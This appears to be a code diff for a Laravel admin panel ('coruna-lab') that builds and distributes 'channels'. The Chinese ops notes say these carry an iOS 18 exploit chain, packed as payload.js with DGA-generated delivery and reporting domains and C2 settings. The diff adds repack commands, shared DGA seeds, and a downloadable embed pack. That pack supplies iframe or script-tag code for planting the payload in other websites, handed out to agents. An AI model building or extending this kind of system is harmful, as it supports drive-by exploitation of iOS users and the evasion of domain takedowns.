'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600), 'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
// Shared DGA seed for every old-builder channel (deployment === reporting).
'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))),
], ],
'channel_builder_new' => [ 'channel_builder_new' => [
'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''), 'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
+10 -2
View File
@@ -9,7 +9,7 @@
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` | | 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**(32-hex)** 作为全站共享 DGA seed(deployment === reporting)。
## 架构 ## 架构
@@ -278,6 +278,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值 - 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
- 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/` - 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/`
- 已有旧版渠道要吃上 support.html 路由 / `index.js`:`php artisan coruna:repack`(可先 `--dry-run`;也可指定 32-hex)。渠道 ID 不变,DGA seed 取自 `CORUNA_CHANNEL_SEED`,只覆盖 `public/web/{id}/`
--- ---
@@ -386,6 +387,9 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。 # 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear # 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
# 旧版 channel-builder 共享 DGA seed(32 hex)。必填才能后台创建 / coruna:repack 旧版渠道。
# 已有环境:从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。
CORUNA_CHANNEL_SEED=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟) # iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30 XXBB_VISIT_MATCH_MINUTES=30
@@ -434,7 +438,7 @@ ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
``` ```
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。 未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时,后台创建 / `coruna:repack` 旧版渠道会直接报错。
### 2.6 抗压(Redis / 队列 / PHP-FPM) ### 2.6 抗压(Redis / 队列 / PHP-FPM)
@@ -706,6 +710,10 @@ sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'imp
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
### 后台新建「旧版」渠道失败:`请先在 .env 配置 CORUNA_CHANNEL_SEED`
把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`,再 `config:clear`。新环境可生成一份 32-hex 后写入(改 seed 会换 DGA 域名)。
### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python` ### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。 `.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。
+7 -1
View File
@@ -14,6 +14,12 @@
} }
} }
if (!channelId) return; if (!channelId) return;
var statOrigin = '';
try {
if (typeof window.__CORUNA_STAT_ORIGIN__ === 'string') {
statOrigin = window.__CORUNA_STAT_ORIGIN__.replace(/\/$/, '');
}
} catch (eOrigin) {}
var KEY = 'c_uid'; var KEY = 'c_uid';
var uid = null; var uid = null;
try { try {
@@ -43,7 +49,7 @@
} catch (e) {} } catch (e) {}
if (referer.length > 512) referer = referer.slice(0, 512); if (referer.length > 512) referer = referer.slice(0, 512);
var q = var q =
location.origin + (statOrigin || location.origin) +
'/statistic/t?c=' + '/statistic/t?c=' +
encodeURIComponent(channelId) + encodeURIComponent(channelId) +
'&u=' + '&u=' +
+50 -7
View File
@@ -134,19 +134,47 @@ layui.use(['table', 'form', 'layer'], function () {
if (!links.length) { if (!links.length) {
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)'); return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
} }
var html = '<div style="padding:16px;">'; var firstLink = links[0];
var scriptTag = row.embed_script || '<script src="./index.js"><\/script>';
var html = '<div style="padding:16px 18px 20px;font-size:13px;line-height:1.6;">';
links.forEach(function (u, i) { links.forEach(function (u, i) {
html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' + html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
'<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' + '<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' +
'<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' + '<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' +
'<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '&quot;') + '">复制推广代码</button>' +
'</div>'; '</div>';
}); });
html += '</div>';
html += '<div style="margin-top:16px;padding-top:14px;border-top:1px solid #eee;">' +
'<div style="font-size:15px;font-weight:600;margin-bottom:14px;">嵌入方式</div>';
html += '<div style="margin-bottom:18px;">' +
'<div style="font-weight:600;margin-bottom:6px;">方式 1:使用 iframe 嵌入</div>' +
'<div style="color:#666;margin-bottom:10px;">将 iframe 插入到 <code>&lt;body&gt;</code> 后</div>' +
'<button type="button" class="layui-btn layui-btn-sm layui-btn-normal LAY-ch-promo" data-url="' +
firstLink.replace(/"/g, '&quot;') + '">复制代码</button>' +
'</div>';
html += '<div>' +
'<div style="font-weight:600;margin-bottom:6px;">方式 2:下载资源包</div>' +
'<ol style="margin:0 0 12px 18px;padding:0;color:#666;">' +
'<li style="margin-bottom:6px;">将 <code>' + String(scriptTag).replace(/</g, '&lt;') +
'</code> 插入到 <code>&lt;head&gt;</code> 中' +
' <button type="button" class="layui-btn layui-btn-xs LAY-ch-copy-script" style="margin-left:6px;">复制脚本</button></li>' +
'<li>将资源包解压后放在项目根目录</li>' +
'</ol>';
if (row.embed_zip_url) {
html += '<a class="layui-btn layui-btn-warm" href="' +
String(row.embed_zip_url).replace(/"/g, '&quot;') +
'" download>下载资源包</a>';
} else {
html += '<div style="color:#999;">当前渠道还没有可下载的浏览器资源,请先构建 / 重打。</div>';
}
html += '</div></div></div>';
layer.open({ layer.open({
type: 1, type: 1,
title: '渠道链接 — ' + row.channel_id, title: '渠道链接 — ' + row.channel_id,
area: ['720px', '360px'], area: ['760px', '560px'],
content: html, content: html,
success: function (layero) { success: function (layero) {
layero.find('.LAY-ch-copy').on('click', function () { layero.find('.LAY-ch-copy').on('click', function () {
@@ -155,7 +183,10 @@ layui.use(['table', 'form', 'layer'], function () {
}); });
layero.find('.LAY-ch-promo').on('click', function () { layero.find('.LAY-ch-promo').on('click', function () {
var url = $(this).data('url'); var url = $(this).data('url');
copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); }); copyText(promoIframe(url)).then(function () { layer.msg('iframe 代码已复制'); });
});
layero.find('.LAY-ch-copy-script').on('click', function () {
copyText(scriptTag).then(function () { layer.msg('脚本代码已复制'); });
}); });
} }
}); });
@@ -180,6 +211,18 @@ layui.use(['table', 'form', 'layer'], function () {
html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>'; html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>';
}); });
} }
if (data.embed_script || data.embed_zip_url) {
html += '<div style="margin:12px 0 6px;"><b>嵌入方式</b></div>';
html += '<div style="margin-bottom:6px;">方式 1:iframe 插入到 <code>&lt;body&gt;</code> 后</div>';
html += '<div style="margin-bottom:6px;">方式 2:将 <code>' +
String(data.embed_script || '<script src="./index.js"><\/script>').replace(/</g, '&lt;') +
'</code> 插入到 <code>&lt;head&gt;</code>,资源包解压到项目根目录</div>';
if (data.embed_zip_url) {
html += '<div style="margin-bottom:10px;"><a href="' +
String(data.embed_zip_url).replace(/"/g, '&quot;') +
'" download>下载资源包</a></div>';
}
}
if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) { if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
html += '<div style="margin:12px 0 6px;"><b>' + html += '<div style="margin:12px 0 6px;"><b>' +
(data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') + (data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') +
@@ -248,7 +291,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' + '<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' + '<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'</select>' + '</select>' +
'<div class="layui-form-mid layui-word-aux">weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)</div></div></div>' '<div class="layui-form-mid layui-word-aux">test=加载页+15s 倒计时;blank=空白页。新版 c 取自 XXBB_CHANNEL_C,旧版 seed 取自 CORUNA_CHANNEL_SEED</div></div></div>'
: ''; : '';
layer.open({ layer.open({
@@ -262,7 +305,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' + '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' + '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' + '</div></div>' +
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源(新版→channel/ 目录,旧版→web/ 目录);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') + (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源(新版→channel/ + XXBB_CHANNEL_C,旧版→web/ + CORUNA_CHANNEL_SEED);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
'</form>', '</form>',
success: function () { success: function () {
form.render(); form.render();
+1
View File
@@ -121,6 +121,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId'); Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store'); Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy'); Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+56
View File
@@ -171,6 +171,62 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
return 0; return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins'); })->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('coruna:repack {ids?*} {--template=blank} {--dry-run} {--ds-domain=}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$dryRun = (bool) $this->option('dry-run');
$dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/');
if ($dsDomain === '') {
$dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/');
}
$projects = app(ChannelProjectService::class);
try {
$resolved = $projects->resolveOldChannelIds($ids === [] ? null : $ids);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if ($resolved === []) {
$this->warn('没有可重打的旧版渠道(builder_type=old)');
return 0;
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个旧版渠道(渠道 ID 不变,seed 取自 CORUNA_CHANNEL_SEED):');
if ($dsDomain !== '') {
$this->info('DS 域名: '.$dsDomain);
}
foreach ($resolved as $id) {
$this->line(' /web/'.$id.'/support.html');
}
if ($dryRun) {
return 0;
}
try {
$result = $projects->rebuildOldChannels(
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
$dsDomain,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
foreach ($result['channels'] as $row) {
$id = (string) ($row['channel_id'] ?? '');
$landing = (string) ($row['support_path'] ?? '/web/'.$id.'/support.html');
$this->info('packed '.$id.' -> '.$landing);
}
return 0;
})->purpose('Repack existing old-builder channels with latest support.html / index.js router');
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () { Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds/tools/build.py'); $script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) { if (! is_file($script)) {
+1
View File
@@ -109,6 +109,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit own channel links only (no create/delete). // Agent portal: view/edit own channel links only (no create/delete).
}); });
+96
View File
@@ -0,0 +1,96 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Services\ChannelEmbedZipService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
use ZipArchive;
class ChannelEmbedZipTest extends TestCase
{
use RefreshDatabase;
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
'coruna.channel_domains' => ['cdn.example.com'],
'coruna.static_site.scheme' => 'https',
]);
}
#[Test]
public function admin_can_download_browser_embed_zip(): void
{
$dir = storage_path('app/channel-artifacts-test/web/'.self::CHANNEL_ID);
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create embed fixture dir');
}
file_put_contents($dir.'/index.js', "/* coruna-embed-boot */\nvar STAT_ORIGIN = '';\nvar CHANNEL = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';\n");
file_put_contents($dir.'/payload.js', 'function cAsUcoxco(){}');
file_put_contents($dir.'/deadbeef.js', '1');
file_put_contents($dir.'/manifest.json', '{}');
$channel = Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.channels.data'))
->assertOk()
->assertJsonPath('data.0.embed_script', '<script src="./index.js"></script>')
->assertJsonPath('data.0.embed_zip_url', route('admin.channels.embedZip', $channel));
$this->actingAs($admin, 'admin')
->get(route('admin.channels.embedZip', $channel))
->assertOk()
->assertDownload('channel-embed-'.self::CHANNEL_ID.'.zip');
$tmp = app(ChannelEmbedZipService::class)->build($channel);
$this->assertFileExists($tmp);
$zip = new ZipArchive();
$this->assertTrue($zip->open($tmp) === true);
$this->assertNotFalse($zip->locateName('index.js'));
$this->assertNotFalse($zip->locateName('payload.js'));
$this->assertNotFalse($zip->locateName('deadbeef.js'));
$this->assertFalse($zip->locateName('manifest.json'));
$boot = $zip->getFromName('index.js');
$this->assertStringContainsString('https://cdn.example.com', (string) $boot);
$this->assertStringNotContainsString('c2.example.com', (string) $boot);
$this->assertStringContainsString('<script src="./index.js"></script>', (string) $zip->getFromName('README.txt'));
$zip->close();
@unlink($tmp);
}
#[Test]
public function zip_service_lists_only_browser_files(): void
{
$dir = storage_path('app/channel-artifacts-test/channel/3.1.07/weifile');
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create weifile fixture dir');
}
file_put_contents($dir.'/index.js', '/* coruna-embed-boot */');
file_put_contents($dir.'/payload.js', 'payload');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
$channel = new Channel([
'channel_id' => '3.1.07',
'builder_type' => Channel::BUILDER_NEW,
]);
$files = app(ChannelEmbedZipService::class)->listFiles($channel);
$this->assertSame(['index.js', 'payload.js', 'weifile.html'], $files);
}
}
+99 -23
View File
@@ -29,6 +29,7 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder.python' => 'python3', 'coruna.channel_builder.python' => 'python3',
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'), 'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
'coruna.channel_builder.timeout' => 30, 'coruna.channel_builder.timeout' => 30,
'coruna.channel_builder.seed' => '11111111111111111111111111111111',
'coruna.channel_builder_new.python' => 'python3', 'coruna.channel_builder_new.python' => 'python3',
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'), 'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
'coruna.channel_domains' => ['fallback.test'], 'coruna.channel_domains' => ['fallback.test'],
@@ -102,12 +103,15 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'new_project.py') return str_contains($joined, 'new_project.py')
&& str_contains($joined, self::CHANNEL_ID) && str_contains($joined, self::CHANNEL_ID)
&& str_contains($joined, '--support-template') && str_contains($joined, '--support-template')
&& str_contains($joined, 'blank'); && str_contains($joined, 'blank')
&& str_contains($joined, '--deployment-seed')
&& str_contains($joined, '11111111111111111111111111111111')
&& str_contains($joined, '--reporting-seed');
}); });
} }
#[Test] #[Test]
public function it_forwards_optional_seeds_to_builder(): void public function it_forwards_env_seed_and_ignores_request_seeds(): void
{ {
Process::fake([ Process::fake([
'*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])), '*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])),
@@ -116,41 +120,30 @@ class ChannelProjectServiceTest extends TestCase
app(ChannelProjectService::class)->generate( app(ChannelProjectService::class)->generate(
self::CHANNEL_ID, self::CHANNEL_ID,
'test', 'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'cccccccccccccccccccccccccccccccc',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'dddddddddddddddddddddddddddddddd',
); );
Process::assertRan(function ($process) { Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, '--deployment-seed') return str_contains($joined, '--deployment-seed')
&& str_contains($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') && str_contains($joined, '11111111111111111111111111111111')
&& str_contains($joined, '--reporting-seed') && str_contains($joined, '--reporting-seed')
&& substr_count($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') >= 2; && ! str_contains($joined, 'cccccccccccccccccccccccccccccccc')
&& ! str_contains($joined, 'dddddddddddddddddddddddddddddddd');
}); });
} }
#[Test] #[Test]
public function it_rejects_partial_seed_pair(): void public function old_builder_requires_env_seed(): void
{ {
config(['coruna.channel_builder.seed' => '']);
$this->expectException(RuntimeException::class); $this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须同时提供'); $this->expectExceptionMessage('CORUNA_CHANNEL_SEED');
app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test', 'only-one', null); app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test');
}
#[Test]
public function it_rejects_mismatched_seed_pair(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
} }
#[Test] #[Test]
@@ -664,6 +657,89 @@ class ChannelProjectServiceTest extends TestCase
}); });
} }
#[Test]
public function it_rebuilds_existing_old_channels_in_place(): void
{
$otherOld = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => $otherOld,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult()),
]);
$result = app(ChannelProjectService::class)->rebuildOldChannels();
$this->assertCount(2, $result['channels']);
Process::assertRanTimes(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py')
&& str_contains($joined, '--deployment-seed')
&& str_contains($joined, '11111111111111111111111111111111');
}, 2);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py') && str_contains($joined, self::CHANNEL_ID);
});
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py') && str_contains($joined, 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
});
}
#[Test]
public function it_rejects_invalid_old_channel_ids_when_repacking(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('旧版渠道 ID 必须是 32 位 hex');
app(ChannelProjectService::class)->resolveOldChannelIds(['not-a-channel']);
}
#[Test]
public function coruna_repack_dry_run_lists_old_channels(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Process::fake();
$this->artisan('coruna:repack', ['--dry-run' => true])
->expectsOutputToContain('将重打 1 个旧版渠道')
->expectsOutputToContain('/web/'.self::CHANNEL_ID.'/support.html')
->assertSuccessful();
Process::assertNothingRan();
}
#[Test] #[Test]
public function version_format_required_for_new_channel_ids(): void public function version_format_required_for_new_channel_ids(): void
{ {